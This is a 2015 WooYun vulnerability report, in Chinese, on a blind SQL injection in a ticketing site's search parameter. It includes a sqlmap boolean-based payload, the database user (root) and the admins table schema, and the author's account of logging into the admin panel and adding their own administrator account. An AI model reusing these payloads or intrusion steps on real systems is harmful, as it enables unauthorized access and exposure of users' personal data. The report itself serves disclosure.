当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0134870

漏洞标题：买票网一处root权限注入可导致大量用户信息泄露

相关厂商：买票网

漏洞作者： Msyb

提交时间：2015-08-20 21:49

修复时间：2015-10-05 18:56

公开时间：2015-10-05 18:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-20： 细节已通知厂商并且等待厂商处理中
2015-08-21： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-08-31： 细节向核心白帽子及相关领域专家公开
2015-09-10： 细节向普通白帽子公开
2015-09-20： 细节向实习白帽子公开
2015-10-05： 细节向公众公开

简要描述：

真实姓名，住址，电话号码等，还可以发送恶意短信。这个不算什么小厂商了吧，可不可以照顾一下新来的:),请原谅我厚颜无耻的要rank。

详细说明：

又是喜闻乐见的搜索型注入
注入点:http://**.**.**.**/search
post: performance_name=%27&data%5BSearch%5D%5Bcity%5D=3
参数performance_name没有过滤

1.PNG


不过是盲注

2.PNG

3.PNG


数据库为eticketing，共82个表，其中有一个叫admins的表。然后找了一个权限高密码简单的登进后台:http://**.**.**.**/admin/
然后我自己加了个管理员，用户名为msyb,密码为123456方便审核。
本来是可以读apache配置文件的但我根据文件长度算了一下要50多个小时才读的完......
本来后台也有好几个几个整型注入应该支持union，但这里貌似就被拦截了,简直不科学。
上传也不行，于是懒得拿shell了。

4.PNG


用户信息

5.PNG


订单管理

6.PNG


可发短信

7.PNG


漏洞证明：

sqlmap identified the following injection points with a total of 15 HTTP(s) requests:
---
Place: POST
Parameter: performance_name
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: performance_name=1%' AND 1669=1669 AND '%'='&data[Search][city]=0
---
current database:    'eticketing'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: performance_name
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: performance_name=1%' AND 1669=1669 AND '%'='&data[Search][city]=0
---
current user:    'root@localhost'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: performance_name
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: performance_name=1%' AND 1669=1669 AND '%'='&data[Search][city]=0
---
Database: eticketing
Table: admins
[8 columns]
+-----------+------------------+
| Column    | Type             |
+-----------+------------------+
| city      | varchar(20)      |
| created   | datetime         |
| id        | int(10) unsigned |
| logged_in | datetime         |
| modified  | datetime         |
| password  | varchar(255)     |
| type      | int(11)          |
| username  | varchar(255)     |
+-----------+------------------+


5.PNG


6.PNG


7.PNG

修复方案：

过滤。

版权声明：转载请注明来源 Msyb@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-08-21 18:54

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式（或以往建立的处置渠道）向网站管理单位（软件生产厂商）通报。

最新状态：

暂无